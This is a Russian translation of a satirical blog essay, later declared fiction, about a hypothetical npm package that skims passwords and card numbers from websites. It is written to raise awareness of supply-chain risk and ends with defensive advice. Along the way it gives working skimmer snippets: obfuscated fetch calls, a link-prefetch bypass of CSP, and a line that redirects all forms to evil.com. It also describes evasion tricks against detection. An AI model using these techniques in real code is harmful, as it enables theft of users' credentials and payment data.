https://habrahabr.ru/company/ruvds/blog/346442/- Разработка веб-сайтов
- Информационная безопасность
- Node.JS
- JavaScript
- Блог компании RUVDS.com
Представляем вам перевод статьи человека, который несколько лет воровал имена пользователей, пароли и номера кредитных карт с различных сайтов.
То, о чём я хочу рассказать, было на самом деле. Или, может быть, моя история лишь основана на реальных событиях. А возможно всё это — выдумка.
Выдалась однажды такая неделя — безумное время, когда всех вокруг тревожила безопасность. Ощущение было такое, что новые уязвимости появляются ежедневно. Мне было не так уж и просто делать вид, будто я понимаю, что происходит, когда меня об этом спрашивали близкие люди. Их беспокоила перспектива того, что их взломают, что их данные утекут неизвестно куда. Всё это заставило меня на многое взглянуть по-новому.
В результате, скрепя сердце, я решил выложить всё начистоту и рассказать всему миру о том, как я в последние несколько лет воровал имена пользователей, пароли и номера кредитных карт с самых разных сайтов. Возможно, вы — администратор или разработчик одного из них.
Как это работает
Сам по себе код, который позволяет красть данные с сайтов, очень прост. Лучше всего он себя чувствует, когда выполняется на странице, соответствующей следующим критериям:
- На странице есть тег
<form>
.
- Там имеется элемент, в свойствах которого есть
input[type="password"]
, или name="cardnumber"
, или name="cvc"
, или нечто подобное.
- Страница содержит слова вроде «credit card», «checkout», «login», «password», и так далее.
Затем, при возникновении события
blur
у поля для ввода пароля или номера кредитной карты, или при возникновении события
submit
формы, код выполняет следующие действия:
- Берёт данные из всех полей формы, расположенной на странице (
document.forms.forEach(…)
).
- Читает
document.cookie
.
- Превращает это всё в строку, которая выглядит как беспорядочный набор символов (
const payload = btoa(JSON.stringify(sensitiveUserData))
).
- Затем отправляет то, что получилось, по примерно такому адресу:
https://legit-analytics.com?q=${payload}
(адрес это, конечно, выдуманный).
Короче говоря, если нечто кажется мне представляющим хоть какую-то ценность, я отправляю это на мой сервер.
Предыстория
Конечно, когда я только написал этот код, в 2015-м, он, пребывая на моём собственном компьютере, ничего полезного сделать не мог. Мне нужно было выпустить его во внешний мир. Например, прямо на ваш сайт.
Вот
мудрый совет от Google:
Если атакующий успешно внедрил куда-либо какой-либо код, то, в общем и целом, говорить уже не о чем.
Какую технологию выбрать для распространения подобного кода? У XSS не тот масштаб, и тут всё очень хорошо защищено. Расширения Chrome слишком ограничены.
К счастью для меня, мы живём в эпоху, когда люди, не особо задумываясь о том, что делают, постоянно устанавливают npm-пакеты.
NPM
Итак, моим методом для распространения вредоносного кода стал npm. Мне надо было лишь придумать троянского коня — пакет, несущий хоть какую-нибудь пользу, который веб-мастера устанавливали бы, не беспокоясь о возможных проблемах.
Тут надо сказать, что людям нравятся симпатичные цвета — это то, что отличает нас от собак. Поэтому я создал пакет, который позволяет выводить данные в консоль, раскрашивая текст. Вот как это выглядит:
А вот, если надо,
исходный код.
Я был в этот момент весьма взвинчен, так как у меня был интересный пакет, всё было готово к выполнению моего плана, но мне не хотелось ждать, пока заинтересованные лица медленно обнаружат этот пакет и начнут использовать. Поэтому я начал делать пулл-реквесты в существующие пакеты, которые добавляли мой пакет к их зависимостям.
Я сделал несколько сотен реквестов (с разных аккаунтов, ни один из них не раскрывал моего реального имени) в разные фронтденд-пакеты и в их зависимости. «Слушайте, я исправил проблему X и ещё добавил возможности логирования».
Вы только посмотрите — я делаю вклад в опенсорс! Мне встретилось множество здравомыслящих людей, которые заявляли, что новая зависимость им не нужна, однако, я вполне был к такому готов. Тут всё дело — в количестве.
В итоге меня ждал оглушительный успех, и от моего кода для раскрашивания вывода в консоль теперь зависело 23 пакета. Один из них был в зависимостях у весьма широко используемого пакета — это была, так сказать, моя денежная корова. Не буду приводить названий, но такие вот распространённые пакеты — это именно то, что мне было нужно.
И это — только один пакет. Похожих было ещё 6.
Тогда я вышел более чем на 120000 загрузок в месяц, и с гордостью мог заявить, что мой вредоносный код ежедневно выполняется на тысячах сайтов, включая кое-какие из списка Alexa Top 1000, отправляя мне целые реки имён пользователей, паролей и данных по кредитным картам.
Вспоминая эти золотые годы, я не могу поверить, что люди прилагают столько усилий для совершения XSS-атак, которые затрагивают всего лишь один сайт. Ведь так легко внедрить собственный код на тысячи сайтов, воспользовавшись невольной помощью веб-разработчиков.
Анализ замечаний тех, кто уверен в своей безопасности
Кое-кто может усомниться в действенности вышеописанной схемы внедрения кода на сайты и сбора ценных данных и выскажет некоторые замечания, сводящиеся к тому, что уж его-то проекту мой вредоносный пакет не страшен. Поговорим об этом.
▍Я заметил бы исходящие сетевые запросы!
Где бы вы их заметили? Мой код не отправляет ничего при открытых инструментах разработчика (да, даже если соответствующая панель
откреплена от основного окна).
Я называю это «манёвром Гейзенберга»: пытаясь наблюдать за поведением моего кода, вы меняете его поведение.
Кроме того, моя программа сидит тихо при выполнении на локальном хосте, или на любом IP-адресе, или когда имя домена содержит слова
dev
,
test
,
qa
,
uat
или
staging
(окружённые символами границ слов
\b
).
▍Наши пентестеры увидели бы это в их средствах для мониторинга HTTP-запросов!
В какие часы они работают? Моя программа ничего никуда не отправляет между 7-ю утра и 7-ю вечера. Это наполовину сокращает улов, но на 95% уменьшает вероятность обнаружения моего кода.
И учётные данные нужны мне лишь один раз. Поэтому, после того, как я отправил данные с некоего устройства, я делаю об этом запись (в локальное хранилище и куки) и больше данные с этого устройства не отправляю. Репликация мне ни к чему.
Даже если какой-нибудь прилежный пентестер постоянно очищает куки и локальное хранилище, я отправляю данные на свой сервер лишь периодически, да ещё и вношу сюда некоторую долю случайности. Отправка данных производится один раз на примерно семь сеансов ввода данных — идеальная частота возникновения подозрительного события, которая позволяет свести с ума того, кто ищет уязвимости.
Кроме того, URL выглядит весьма похожим на три сотни других запросов, которые выполняет ваш сайт, скажем, к рекламным сетям.
Дело тут в том, что то, что вы этого не видите, не значит, что этого не происходит. Моя система работает уже больше двух лет, и, насколько я знаю, никто никогда даже не заметил этих моих запросов. Может быть, всё это время мой код работал именно на вашем сайте.
Забавная вещь. Когда я обработал все пароли и номера кредитных карт, которые собрал, и подготовил их для продажи в дакрвебе, мне пришлось проверить, нет ли среди этих данных моей кредитной карты или чего-то ещё, на тот случай, если я сам перехватил собственные данные. Это было бы уже не так уж и весело.
▍Я бы это увидел в исходном коде пакета на GitHub!
Ваша невинность умилительна. Но я боюсь, что абсолютно реально сделать так: отправить одну версию кода в GitHub, а другую — в npm.
В моём
package.json
я задал свойство
files
так, что оно указывает на директорию
lib
, которая содержит минифицированный и изменённый до неузнаваемости вредоносный код. Именно это команда
npm publish
шлёт в npm. Но директория
lib
указана в
.gitignore
, в результате её содержимое на GitHub никогда не попадёт. Перед нами весьма распространённый подход, поэтому подобное даже не кажется подозрительным при просмотре файлов проекта на GitHub.
Это — не проблема npm, если бы я даже не отправлял разный код в npm и в GitHub, кто смог бы сказать, что то, что лежит в
/lib/package.min.js
— это реальный результат минификации
/src/package.js
?
В итоге, на GitHub мой код никому не найти.
▍Я проанализировал бы все минифицированные исходники кода из node_modules!
Итак, сейчас вы просто ищете недостатки в моей схеме кражи данных с сайтов. Но, возможно, вы полагаете, что можете написать нечто интеллектуальное, автоматически проверяющее код на наличие разных подозрительных вещей.
Если и так, то вы, опять же, не сможете найти в моём коде ничего подозрительного. У меня нет слов
fetch
и
XMLHttpRequest
, или имени домена, куда я отправляю данные. Мой код для сбора данных выглядит примерно так:
const i = 'gfudi';
const k = s => s.split('').map(c => String.fromCharCode(c.charCodeAt() - 1)).join('');
self[k(i)](urlWithYourPreciousData);
Строка «gfudi» — это всего лишь слово «fetch», коды символов которого увеличены на единицу. Вот вам хардкорная криптография в действии. А
self
— это всего лишь псевдоним для
window
.
А вот ещё один способ записать команду вида
fetch(...)
:
self['\u0066\u0065\u0074\u0063\u0068'](...)
Вывод заключается в том, что очень сложно, практически невозможно, обнаружить всякие безобразия в обфусцированном коде.
Учитывая вышесказанное, хочу сказать, что я, на самом деле, не использую какие-то скучные вещи наподобие
fetch
. Я предпочитаю везде, где это возможно, пользоваться конструкцией вроде
new EventSource(urlWithYourPreciousData)
. При таком подходе, даже если с параноидальной настойчивостью мониторить исходящие запросы, используя
serviceWorker
для прослушивания событий
fetch
, мой код в такую ловушку не попадётся. Я просто не отправляю ничего из браузеров, поддерживающих
serviceWorker
, но не
EventSource
.
▍У меня есть политика защиты контента!
Ох, вот уж неожиданность. А кто-нибудь сказал вам, что политика защиты контента (Content Security Policy, CSP) не даст вредоносному коду отправлять данные на какой-нибудь хитрый домен? Мне не нравится играть роль того, кто приносит плохие новости, но следующие четыре строки кода проскочат мимо даже самой жёсткой CSP:
const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);
В ранней версии этого материала я сказал, что продуманная CSP защитила бы вас (цитирую) «на 100%». К несчастью, до того, как я додумался до вышеописанного трюка, этот материал прочитало 130 тысяч человек. Я так думаю, отсюда можно сделать вывод о том, что никому и ничему в интернете верить нельзя.
Однако, политики защиты контента нельзя назвать полностью бесполезными. Вышеприведённый пример работает лишь в Chrome, и качественная CSP может помешать работе моего кода в некоторых менее распространённых браузерах.
Если вы ещё не знаете, то
CSP может (пытается, по крайней мере) ограничить то, какие сетевые запросы могут быть сделаны из браузера. Часто о таких политиках говорят как о наборе правил, позволяющих ограничить то, что может поступить в браузер, но рассматривать CSP можно и как средство защиты того, что из браузера может быть отправлено (когда я «отправляю» пароли ваших пользователей на мой сервер — это всего лишь параметр в запросе GET).
В случае, когда я не могу отправить данные, используя вышеописанный трюк с prefetch, политики защиты содержимого превращаются в проблему для моей корпорации по сбору номеров кредитных карт. И не только потому, что они мне мешают.
Можно заметить, что если я попытаюсь украсть данные с сайта, имеющего CSP, владелец сайта может быть оповещён о неудачной попытке вторжения (если задано
report-uri
). Это, в итоге, может привлечь внимание к моему коду, владелец сайта пойдёт дальше, а значит, у меня могут возникнуть серьёзные проблемы.
Так как я не хочу привлекать к себе внимание (если только речь не идёт о танцплощадке), я проверяю CSP перед попыткой что-либо отправить на свой сервер из браузера.
Для того чтобы это сделать, я выполняю фиктивный запрос к текущей странице и анализирую заголовки.
fetch(document.location.href)
.then(resp => {
const csp = resp.headers.get('Content-Security-Policy');
// Существует ли такой заголовок? Устраивает ли это меня?
});
В этот момент я могу поискать дыры в CSP. Поразительно, но страница для входа в систему Google имеет плохую CSP, которая позволила бы мне очень просто перехватить имя пользователя и пароль, если бы мой код выполнялся на этой странице. Они не предусмотрели установку
connect-src
и, кроме того, не задали «универсальный перехватчик»
default-src
, что даёт мне возможность отправлять то, что я собрал, тогда, когда мне этого захочется.
Если вы мне пришлёте десять долларов по почте — я скажу вам, имеется ли мой код на странице входа в систему Google.
У Amazon, на той странице, где вводят номер кредитной карты, совсем нет CSP. То же самое касается и eBay.
У Twitter и PayPal имеется CSP, но украсть у них данные очень просто. Эти две компании сделали одну и ту же ошибку, и, возможно, это указывает на то, что и другие её делают. На первый взгляд всё выглядит довольно прилично, и там и там, как и должно быть, задано
default-src
. Но вот проблема — эта штука должна перехватывать всё, но она этого не делает. Они не заблокировали
form-action
.
Итак, когда я проверяю политику защиты контента (и проверяю её дважды), если всё остальное заблокировано, но я вижу, что не заблокировано
form-action
, я просто беру и меняю действие (в том месте, где данные отправляются на сервер по нажатию кнопки Войти или подобной) во всех формах.
Array.from(document.forms).forEach(formEl => formEl.action = `//evil.com/bounce-form`);
Вот так. Спасибо, друг, что прислал мне своё имя пользователя и пароль из PayPal. Я отправлю тебе поздравительную открытку с фотографией всего того, что купил на твои деньги.
Естественно, я выполняю такой трюк лишь один раз на одном устройстве, и отправляю пользователя прямо на соответствующую страницу, когда он пожимает плечами и пробует воспользоваться формой снова.
Кстати, используя этот метод, я взломал аккаунт Трампа в Twitter и начал постить всякую ерунду. Насколько мне известно, до сих пор этого никто не заметил.
Надеюсь, мне удалось развеять сомнения тех, кто не был уверен в работоспособности описанного здесь подхода к сбору данных с сайтов. Теперь вполне логично задаться вопросом о том, как от этого всего защищаться.
Что делать?
Вот несколько вариантов защиты от всего того, о чём я рассказал.
▍Вариант №1: никакого интернета, никаких сайтов
Полагаю, тут всё понятно без лишних слов:
Здесь вы будете в безопасности.▍Вариант №2: никакого постороннего кода на важных страницах
На каждой странице, которая собирает любые данные, которые вы хотите защитить от меня (или от моих товарищей-хакеров), не используйте модули npm. То же самое касается Google Tag Manager, или кода рекламных сетей, или аналитических скриптов, в общем — речь идёт о любом чужом коде.
Как советуют
здесь, вы можете решить обзавестись очень простыми выделенными страницами для целей входа в систему и ввода номеров кредитных карт, которые выводятся с помощью iFrame.
При этом все остальные части страницы вроде шапок, подвалов и блоков навигации, могут работать на старом добром React, где подключены 138 npm-пакетов. Однако, та часть страницы, на которой пользователь вводит ценные данные, должна работать в отдельном iFrame, в котором, если вы хотите проверять какие-то данные на стороне клиента, должен выполняться только JavaScript-код, написанный вами собственноручно (и, позволю дать рекомендацию, не минифицированный).
Скоро я опубликую отчёт за 2017-й год, где задекларирую доход, полученный от воровства кредитных карт и продажи их всяким криминальным элементам. Закон требует, чтобы я раскрыл список сайтов, с помощью которых я собрал больше всего номеров кредитных карт. Может быть среди них окажется и ваш сайт?
Так как я — человек позитивный — любой из списка, кто успешно заблокировал мои попытки по сбору данных до 12-го января, будет избавлен от публичного позора.
Серьёзный разговор
Допускаю, что мой безжалостный сарказм кому-то может быть трудно понять, например, людям, которым не хватает чувства юмора. Поэтому, просто чтобы расставить все точки над i, хочу сказать, что я не создавал npm-пакет, который крадёт информацию с сайтов. Этот материал — чистой воды выдумка, но всё это вполне могло случиться на самом деле. Хотя всё это — лишь моя фантазия, меня беспокоит то, что всё это довольно легко реализуемо.
В мире достаточно умных, но нечистых на руку людей, кроме того, существует около 400000 npm-пакетов. Мне кажется, что высока вероятность того, что как минимум в одном из них может встретиться вредоносный код, и если этот код написан хорошо, никто никогда об этом не узнает.
Проведём один интересный мысленный эксперимент. На прошлой неделе я написал npm-пакет, небольшую
смягчающую функцию. Этот пакет не имеет никакого отношения к моему сегодняшнему рассказу, и я даю слово джентльмена, что в нём нет ничего вредоносного. Насколько сильно вы будете нервничать, подключая этот пакет к коду своего сайта?
Итоги
Зачем я вообще написал этот материал? Может для того, чтобы заявить каждому, кто его прочтёт о том, что он — простофиля, которого легко обвести вокруг пальца? Нет конечно. (И, кстати, с этого стоило бы начать, но потом я понял, что я — такой же простофиля).
Моя цель (как оказалось) заключается в том, чтобы привлечь внимание к тому, что любой сайт, включающий в себя сторонний код, уязвим. Причём, его уязвимости практически нереально обнаружить. Надеюсь, этот мой рассказ дал пищу для ума тем, кого волнуют вопросы безопасности в сети.
Уважаемые читатели! Что вы делаете для того, чтобы обезопасить свои веб-проекты от потенциально опасного стороннего кода, включаемого в них?